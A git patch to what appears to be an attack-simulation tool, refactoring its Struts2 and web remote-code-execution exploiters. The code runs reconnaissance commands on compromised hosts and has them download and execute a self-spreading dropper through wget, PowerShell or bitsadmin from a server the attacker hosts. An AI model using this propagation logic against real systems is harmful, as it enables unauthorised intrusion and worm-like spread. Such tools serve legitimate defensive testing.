From 5232d84e061f448b0f3114292cd0851977fc887e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 9 Aug 2018 16:52:15 +0300 Subject: [PATCH] Almost all notes fixed, but nothing tested. --- infection_monkey/exploit/struts2.py | 15 ++++---- infection_monkey/exploit/tools.py | 38 +++++++++++++++++++-- infection_monkey/exploit/web_rce.py | 53 +++++++++-------------------- infection_monkey/model/__init__.py | 3 -- 4 files changed, 61 insertions(+), 48 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 3a08d0487..c489a3784 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -12,7 +12,7 @@ import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools -from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \ +from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \ DROPPER_ARG __author__ = "VakarisZ" @@ -21,6 +21,9 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 +# Commands used to check if monkeys already exists +FIND_FILE = "ls %s" + class Struts2Exploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', 'windows'] @@ -56,7 +59,7 @@ class Struts2Exploiter(HostExploiter): return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) def check_remote_file(self, host, path): - command = EXISTS % path + command = FIND_FILE % path resp = self.exploit(host, command) if 'No such file' in resp: return False @@ -88,7 +91,7 @@ class Struts2Exploiter(HostExploiter): cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) - command = WGET_HTTP % {'monkey_path': dropper_path, + command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} self.exploit(url, command) @@ -138,7 +141,7 @@ class Struts2Exploiter(HostExploiter): # We need to double escape backslashes. Once for payload, twice for command cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) - command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), @@ -159,7 +162,7 @@ class Struts2Exploiter(HostExploiter): @staticmethod def check_exploit_windows(url): - resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) + resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) if resp and ID_STRING in resp: if "64-bit" in resp: return "64" @@ -170,7 +173,7 @@ class Struts2Exploiter(HostExploiter): @staticmethod def check_exploit_linux(url): - resp = Struts2Exploiter.exploit(url, CHECK_LINUX) + resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) if resp and ID_STRING in resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 5ba7f6869..3b5b40649 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -22,6 +22,7 @@ from network import local_ips from network.firewall import app as firewall from network.info import get_free_tcp_port, get_routes from transport import HTTPServer, LockedHTTPServer +from threading import Lock class DceRpcException(Exception): @@ -387,9 +388,9 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd @staticmethod - def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): + def create_locked_transfer(host, src_path, local_ip=None, local_port=None): """ - Create http server for file transfer with lock + Create http server for file transfer with a lock :param host: Variable with target's information :param src_path: Monkey's path on current system :param lock: Instance of lock @@ -397,6 +398,9 @@ class HTTPTools(object): :param local_port: :return: """ + # To avoid race conditions we pass a locked lock to http servers thread + lock = Lock() + lock.acquire() if not local_port: local_port = get_free_tcp_port() @@ -407,9 +411,10 @@ class HTTPTools(object): return None, None httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd.daemon = True httpd.start() - + lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd @@ -507,3 +512,30 @@ def get_binaries_dir_path(): def get_monkey_depth(): from config import WormConfiguration return WormConfiguration.depth + + +def get_monkey_dest_path(src_path): + """ + Gets destination path from source path. + :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + from config import WormConfiguration + if not src_path or ('linux' not in src_path and 'windows' not in src_path): + LOG.error("Can't get destination path because source path %s is invalid.", src_path) + return False + try: + if 'linux' in src_path: + return WormConfiguration.dropper_target_path_linux + elif 'windows-32' in src_path: + return WormConfiguration.dropper_target_path_win_32 + elif 'windows-64' in src_path: + return WormConfiguration.dropper_target_path_win_64 + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index dedcb9f6b..d3ae83b6d 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -6,12 +6,14 @@ from model import * from posixpath import join import re from abc import abstractmethod -from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools, get_monkey_dest_path from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) +# Commands used to check if monkeys already exists +LOOK_FOR_FILE = "ls %s" class WebRCE(HostExploiter): @@ -101,12 +103,11 @@ class WebRCE(HostExploiter): """ url_list = [] if extensions: - for idx, extension in enumerate(extensions): - if '/' in extension[0]: - extensions[idx] = extension[1:] + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] else: extensions = [""] for port in ports: + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] for extension in extensions: if port[1]: protocol = "https" @@ -126,6 +127,7 @@ class WebRCE(HostExploiter): resp = self.exploit(url, ARCH_LINUX) if resp: # Pulls architecture string + # TODO TEST IF NOT FOUND arch = re.search('(?<=Architecture:)\s+(\w+)', resp) arch = arch.group(1) if arch: @@ -145,8 +147,8 @@ class WebRCE(HostExploiter): else: return False - def check_remote_file(self, url, path): - command = EXISTS % path + def check_remote_monkey_file(self, url, path): + command = LOOK_FOR_FILE % path resp = self.exploit(url, command) if 'No such file' in resp: return False @@ -163,36 +165,20 @@ class WebRCE(HostExploiter): if 'linux' in self.host.os['type']: paths.append(self._config.dropper_target_path_linux) else: - paths.append(self._config.dropper_target_path_win_32) - paths.append(self._config.dropper_target_path_win_64) + paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64]) for path in paths: if self.check_remote_file(url, path): return True return False - def get_monkey_dest_path(self, src_path): - """ - Gets destination path from source path. - :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe - :return: Corresponding monkey path from configuration - """ - if not src_path or ('linux' not in src_path and 'windows' not in src_path): - LOG.error("Can't get destination path because source path %s is invalid.", src_path) - return False - try: - if 'linux' in src_path: - return self._config.dropper_target_path_linux - elif "windows-32" in src_path: - return self._config.dropper_target_path_win_32 - else: - return self._config.dropper_target_path_win_64 - except AttributeError: - LOG.error("Seems like configuration properties names changed. " - "Can not get destination path to upload monkey") - return False - # Wrapped functions: def get_ports_w(self, ports, names): + """ + Get ports wrapped with log + :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS + :param names: [] of service names. Example: ["http"] + :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] + """ ports = WebRCE.get_open_service_ports(self.host, ports, names) if not ports: LOG.info("All default web ports are closed on %r, skipping", host) @@ -223,15 +209,11 @@ class WebRCE(HostExploiter): return False # Determine which destination path to use LOG.debug("Monkey path found") - lock = Lock() - path = WebRCE.get_monkey_dest_path(self._config, src_path) + path = get_monkey_dest_path(src_path) if not path: return False - # To avoid race conditions we pass a locked lock to http servers thread - lock.acquire() # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, lock) - lock.acquire() + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False @@ -252,7 +234,6 @@ class WebRCE(HostExploiter): LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} resp = self.exploit(url, backup_command) - lock.release() http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading process finished") diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 0c1e5a09b..31bc77eb8 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -29,7 +29,4 @@ CHECK_COMMAND = "echo %s" % ID_STRING ARCH_WINDOWS = "wmic os get osarchitecture" ARCH_LINUX = "lscpu" -# Commands used to check if monkeys already exists -EXISTS = "ls %s" - DOWNLOAD_TIMEOUT = 300 \ No newline at end of file